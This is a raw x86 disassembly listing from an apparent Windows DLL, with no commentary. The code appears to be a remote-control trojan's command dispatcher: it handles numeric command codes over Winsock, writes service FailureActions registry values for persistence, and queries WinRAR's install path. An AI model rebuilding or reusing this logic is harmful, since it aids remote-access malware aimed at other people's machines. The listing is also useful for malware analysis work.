add esp, 4
mov eax, dword [ebp - 0x60]
mov dword [0x100e6a85], eax
cmp dword [0x100e6a85], 0
jne 0x10034eb3
push reloc.WS2_32.dll_connect
push 0
push 0x100deb38
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, str.700007
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.100301d1
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10034e9e
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10034eae
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1003a351
push 0x80000301
push 0
push dword [0x100e6a85]
push 1
mov ebx, 0x2bc
call fcn.100bf940
add esp, 0x10
push 0x80000301
push 0
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
push eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x10034f03
push ebx
call fcn.100b8c45
add esp, 4
pop eax
mov dword [ebp - 0x24], eax
push dword [ebp - 0x24]
push 0x100deb3f
mov ecx, 2
call fcn.10001088
add esp, 8
mov dword [ebp - 0x44], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x10034f32
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10034f58
push ebx
call fcn.100b8c45
add esp, 4
lea eax, [ebp - 0x48]
push eax
mov eax, str.700007
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x4c]
push eax
call fcn.100301d1
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10034f7d
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10034f8d
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x10035100
push str._OK_
push dword [ebp - 0x20]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10035100
push 0
push 0
push 0
push 0x80000301
push 0
push dword [0x100e6a85]
push 2
mov ebx, 0x2b4
call fcn.100bf990
add esp, 0x1c
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jne 0x100350a0
push reloc.WS2_32.dll_connect
push 0
push 0x100deb4b
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0x80000301
push 0
push 0x19000
push 0x80000301
push 0
push dword [0x100e6a85]
push 2
mov ebx, 0x294
call fcn.100bfb20
add esp, 0x1c
mov dword [ebp - 0x48], eax
push dword [ebp - 0x48]
push dword [ebp - 0x44]
mov ecx, 2
call fcn.1000173e
add esp, 8
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10035052
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10035062
push ebx
call fcn.100b8c45
add esp, 4
lea eax, [ebp - 0x4c]
push eax
mov eax, str.700007
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x50]
push eax
call fcn.100301d1
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x10035090
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x100350a0
push ebx
call fcn.100b8c45
add esp, 4
push 0
push 0
push 0
push 0x80000301
push 0
push dword [0x100e6a85]
push 2
mov ebx, 0x2b4
call fcn.100bf990
add esp, 0x1c
test eax, eax
je 0x10035100
push 0x80000301
push 0
push dword [0x100e6a85]
push 1
mov ebx, 0x278
call fcn.100bb7e0
add esp, 0x10
mov dword [0x100e6a85], 0
mov dword [0x100e6a89], 0
jmp 0x1003a351
push str.800008
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10035648
push 0x80000301
push 0
push 6
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1003513d
mov eax, 0x100d5289
push eax
push 2
mov ebx, 0x1a0
call fcn.100bb760
add esp, 0x1c
mov dword [ebp - 0x44], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x10035166
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1003518c
push ebx
call fcn.100b8c45
add esp, 4
mov eax, dword [ebp - 0x48]
push eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x100351a0
push ebx
call fcn.100b8c45
add esp, 4
pop eax
mov dword [ebp - 0x20], eax
push 0x100deb4b
push dword [ebp - 0x20]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x1003536d
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x100351d0
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x194
call fcn.100ba1f0
add esp, 0x10
mov dword [ebp - 0x4c], eax
fild dword [ebp - 0x4c]
fstp qword [ebp - 0x4c]
fld qword [ebp - 0x4c]
fsub qword [0x100d58ef]
fstp qword [ebp - 0x54]
fld qword [ebp - 0x54]
call fcn.10001795
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10035221
mov eax, 0x100d5289
push eax
push 2
mov ebx, 0x1a4
call fcn.100bb790
add esp, 0x1c
mov dword [ebp - 0x58], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x58]
test eax, eax
jne 0x10035250
mov eax, 0x100d5289
push eax
push 0x80000301
push 0
push dword [0x100e6a8d]
push 2
mov ebx, 0x298
call fcn.100bfc80
add esp, 0x1c
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x10035283
push ebx
call fcn.100b8c45
add esp, 4
push 0x80000301
push 0
push dword [0x100e6a8d]
push 1
mov ebx, 0x2bc
call fcn.100bf940
add esp, 0x10
mov dword [0x100e6a91], eax
push 0x80000301
push 0
push dword [0x100e6a91]
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x44], eax
push dword [ebp - 0x44]
push str._ok___
mov ecx, 2
call fcn.10001088
add esp, 8
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x100352f1
push ebx
call fcn.100b8c45
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x48]
test eax, eax
jne 0x10035304
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1003532a
push ebx
call fcn.100b8c45
add esp, 4
lea eax, [ebp - 0x4c]
push eax
mov eax, str.800008
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x50]
push eax
call fcn.100301d1
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x10035358
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10035368
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x100355de
push 0x100deb31
push dword [ebp - 0x20]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x100355de
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10035399
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100d53a2
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x100353d4
mov eax, 0x100d520e
push eax
push 3
mov ebx, 0x190
call fcn.100ba5d0
add esp, 0x28
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x100353fa
push ebx
call fcn.100b8c45
add esp, 4
mov eax, dword [ebp - 0x48]
push eax
mov ebx, dword [ebp - 0x1c]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x1003541c
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x10035418
imul eax, dword [ebx]
jmp 0x1003540d
mov ecx, eax
test ecx, ecx
je 0x1003543b
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x10035434
push ebx
push eax
call fcn.100b8c45
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x10035422
call fcn.100b8c45
add esp, 4
pop eax
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x1c]
call fcn.100020b9
mov eax, 2
cmp eax, ecx
jl 0x1003546f
push 0x236f
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
push 0
push 0
push 0
push 0x80000301
push 0
push 5
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x44]
mov eax, dword [ebx]
test eax, eax
jne 0x1003549e
mov eax, 0x100d520e
push eax
push 3
mov ebx, 0x270
call fcn.100bac90
add esp, 0x28
mov dword [0x100e6a8d], eax
mov ebx, dword [ebp - 0x1c]
call fcn.100020b9
mov eax, 1
cmp eax, ecx
jl 0x100354de
push 0x23af
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x44]
mov eax, dword [ebx]
test eax, eax
jne 0x100354fb
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x9dc
call fcn.100ba4f0
add esp, 0x10
mov dword [0x100e6a95], eax
mov dword [0x100e6a91], 0
push 0x80000301
push 0
push dword [0x100e6a91]
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x44], eax
push dword [ebp - 0x44]
push str._ok___
mov ecx, 2
call fcn.10001088
add esp, 8
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10035567
push ebx
call fcn.100b8c45
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x48]
test eax, eax
jne 0x1003557a
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x100355a0
push ebx
call fcn.100b8c45
add esp, 4
lea eax, [ebp - 0x4c]
push eax
mov eax, str.800008
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x50]
push eax
call fcn.100301d1
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x100355ce
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x100355de
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [0x100e6a95], 0
je 0x10035603
mov eax, dword [0x100e6a91]
cmp dword [0x100e6a95], eax
jne 0x10035603
mov eax, 1
jmp 0x10035608
mov eax, 0
test eax, eax
je 0x10035643
push 0x80000301
push 0
push dword [0x100e6a8d]
push 1
mov ebx, 0x278
call fcn.100bb7e0
add esp, 0x10
mov dword [0x100e6a8d], 0
mov dword [0x100e6a95], 0
jmp 0x1003a351
push str.900009
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x100356ed
call fcn.1003aba1
push reloc.WS2_32.dll_connect
push 0
push str.900009
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
push dword [ebp - 0x14]
push dword [ebp - 0x44]
mov ecx, 2
call fcn.1000173e
add esp, 8
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x100356ad
push ebx
call fcn.100b8c45
add esp, 4
mov dword [ebp - 0x4c], 0
push 0
push dword [ebp - 0x4c]
lea eax, [ebp - 0x48]
push eax
push dword [0x100e6a71]
push dword [0x100e6a31]
call fcn.10032224
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x100356de
push ebx
call fcn.100b8c45
add esp, 4
mov dword [0x100e6a6d], 0
jmp 0x1003a351
push str.110011
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10035820
mov dword [0x100e6a6d], 1
push 0x80000301
push 0
push 0x3e8
push 1
mov ebx, 0x1c
mov eax, 0x100c34e0
call fcn.100b9790
add esp, 0x10
push str.FailureActions
push dword [0x100e6a09]
push str.SYSTEMCurrentControlSetServices_
mov ecx, 3
call fcn.10001088
add esp, 0xc
mov dword [ebp - 0x44], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x10035766
mov eax, 0x100d520e
push eax
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.100bfe90
add esp, 0x1c
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10035795
push ebx
call fcn.100b8c45
add esp, 4
push reloc.WS2_32.dll_connect
push 0
push str.110011
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
lea eax, [ebp - 0x44]
push eax
push dword [0x100e6a71]
push dword [0x100e6a31]
call fcn.10032224
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x100357e7
push ebx
call fcn.100b8c45
add esp, 4
push dword [0x100e6a31]
call fcn.1003dfdb
push dword [ebp + 8]
call fcn.10004599
call fcn.1003e0d6
mov dword [0x100e6a6d], 0
call fcn.100022f7
mov dword [ebp - 0x44], eax
push 1
push dword [ebp - 0x44]
call fcn.10004694
jmp 0x1003a351
push str.110080
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10035868
mov eax, str.baidu.com
push eax
mov ebx, dword [0x100e6a19]
test ebx, ebx
je 0x10035852
push ebx
call fcn.100b8c45
add esp, 4
pop eax
mov dword [0x100e6a19], eax
push dword [0x100e6a3d]
call fcn.10004599
jmp 0x1003a351
push str.110012
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10035a40
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10035894
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0x100deb88
push dword [ebp - 0x44]
call fcn.100027e4
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x100358d8
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x48], 0
je 0x10035916
push reloc.WS2_32.dll_bind
push 0
push 1
push 0x80000301
push 0
push 2
push 2
mov ebx, 0x20
mov eax, 0x100c32a0
call fcn.100b9790
add esp, 0x1c
jmp 0x10035a3b
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10035929
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0x100deb8d
push dword [ebp - 0x44]
call fcn.100027e4
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1003596d
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x48], 0
je 0x100359ab
push reloc.WS2_32.dll_bind
push 0
push 1
push 0x80000301
push 0
push 1
push 2
mov ebx, 0x20
mov eax, 0x100c32a0
call fcn.100b9790
add esp, 0x1c
jmp 0x10035a3b
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x100359be
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0x100deb92
push dword [ebp - 0x44]
call fcn.100027e4
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10035a02
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x48], 0
je 0x10035a3b
push reloc.WS2_32.dll_bind
push 0
push 1
push 0x80000301
push 0
push 3
push 2
mov ebx, 0x20
mov eax, 0x100c32a0
call fcn.100b9790
add esp, 0x1c
jmp 0x1003a351
push str.110013
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10035abf
call fcn.1003aba1
push reloc.WS2_32.dll_connect
push 0
push str.110013
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
lea eax, [ebp - 0x44]
push eax
push dword [0x100e6a71]
push dword [0x100e6a31]
call fcn.10032224
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10035ab0
push ebx
call fcn.100b8c45
add esp, 4
mov dword [0x100e6a6d], 0
jmp 0x1003a351
push str.110015
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10035b2f
push reloc.WS2_32.dll_connect
push 0
push str.110015
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
lea eax, [ebp - 0x44]
push eax
push dword [0x100e6a71]
push dword [0x100e6a31]
call fcn.10032224
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10035b2a
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1003a351
push str.110016
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10035b9f
push reloc.WS2_32.dll_connect
push 0
push str.110016
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
lea eax, [ebp - 0x44]
push eax
push dword [0x100e6a71]
push dword [0x100e6a31]
call fcn.10032224
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10035b9a
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1003a351
push str.110017
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10035c80
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionApp_PathsWinRAR.exe_
push 0x80000301
push 0
push 4
push 3
mov ebx, 0x698
call fcn.100bef20
add esp, 0x28
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
push eax
mov ebx, dword [0x100e6a99]
test ebx, ebx
je 0x10035c02
push ebx
call fcn.100b8c45
add esp, 4
pop eax
mov dword [0x100e6a99], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10035c1b
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
push eax
mov ebx, dword [0x100e6a9d]
test ebx, ebx
je 0x10035c48
push ebx
call fcn.100b8c45
add esp, 4
pop eax
mov dword [0x100e6a9d], eax
mov ebx, 6
call fcn.100039cf
push reloc.WS2_32.dll_getsockname
push 0
push 0x100485ab
push 3
mov ebx, 0
mov eax, 0x100c3a50
call fcn.100b9790
add esp, 0x28
jmp 0x1003a351
push str.110018
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10035f0a
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionApp_PathsWinRAR.exe_
push 0x80000301
push 0
push 4
push 3
mov ebx, 0x698
call fcn.100bef20
add esp, 0x28
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
push eax
mov ebx, dword [0x100e6a99]
test ebx, ebx
je 0x10035ce3
push ebx
call fcn.100b8c45
add esp, 4
pop eax
mov dword [0x100e6a99], eax
push 0x100d520e
push dword [0x100e6a99]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10035e05
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10035d18
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x44], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10035d41
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.10030025
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10035d73
push ebx
call fcn.100b8c45
add esp, 4
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x44]
push eax
push 0x100e6aa1
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x10]
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10035d9a
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10035daa
push ebx
call fcn.100b8c45
add esp, 4
push reloc.WS2_32.dll_connect
push 0
push 0x100debe5
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, str.110020
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.100301d1
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10035df0
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10035e00
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1003a351
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10035e18
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x44], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10035e41
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.10030025
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10035e73
push ebx
call fcn.100b8c45
add esp, 4
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x44]
push eax
call fcn.1003e1a2
mov ebx, eax
test ebx, ebx
je 0x10035e8f
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10035e9f
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10035eaf
push ebx
call fcn.100b8c45
add esp, 4
push reloc.WS2_32.dll_connect
push 0
push 0x100debfa
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, str.110020
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.100301d1
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10035ef5
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10035f05
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1003a351
push str.110019
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10036156
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10035f36
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100d53a0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x10035f71
mov eax, 0x100d520e
push eax
push 3
mov ebx, 0x190
call fcn.100ba5d0
add esp, 0x28
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10035f97
push ebx
call fcn.100b8c45
add esp, 4
mov eax, dword [ebp - 0x48]
push eax
mov ebx, dword [ebp - 0x1c]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x10035fb9
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x10035fb5
imul eax, dword [ebx]
jmp 0x10035faa
mov ecx, eax
test ecx, ecx
je 0x10035fd8
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x10035fd1
push ebx
push eax
call fcn.100b8c45
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x10035fbf
call fcn.100b8c45
add esp, 4
pop eax
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x1c]
call fcn.100020b9
push ebx
push ecx
mov ebx, dword [ebp - 0x1c]
call fcn.100027cb
dec eax
jns 0x10036010
push 0x2f36
push 0x403116f
push 4
call fcn.100b8c4b
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x1003602d
push 0x2f36
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x48], ebx
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100d538a
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x48]
mov eax, dword [ebx]
test eax, eax
jne 0x10036068
mov eax, 0x100d520e
push eax
push 4
mov ebx, 0x148
call fcn.100b9830
add esp, 0x34
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0xffffffff
jne 0x100360f2
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x100360a1
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x44], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x100360ca
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x238
call fcn.100c01b0
add esp, 0x10
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x100360ed
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x10036151
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10036105
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x44], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x1003612e
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x244
call fcn.100c01f0
add esp, 0x10
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10036151
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1003a351
push str.110021
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x100362d3
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10036182
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100d53a2
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x100361bd
mov eax, 0x100d520e
push eax
push 3
mov ebx, 0x190
call fcn.100ba5d0
add esp, 0x28
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x100361e3
push ebx
call fcn.100b8c45
add esp, 4
mov eax, dword [ebp - 0x48]
push eax
mov ebx, dword [ebp - 0x1c]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x10036205
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x10036201
imul eax, dword [ebx]
jmp 0x100361f6
mov ecx, eax
test ecx, ecx
je 0x10036224
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x1003621d
push ebx
push eax
call fcn.100b8c45
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x1003620b
call fcn.100b8c45
add esp, 4
pop eax
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x1c]
call fcn.100020b9
mov eax, 0
cmp eax, ecx
jl 0x10036258
push 0x305a
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
mov ebx, dword [ebp - 0x1c]
call fcn.100020b9
mov eax, 1
cmp eax, ecx
jl 0x10036288
push 0x305a
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x48], ebx
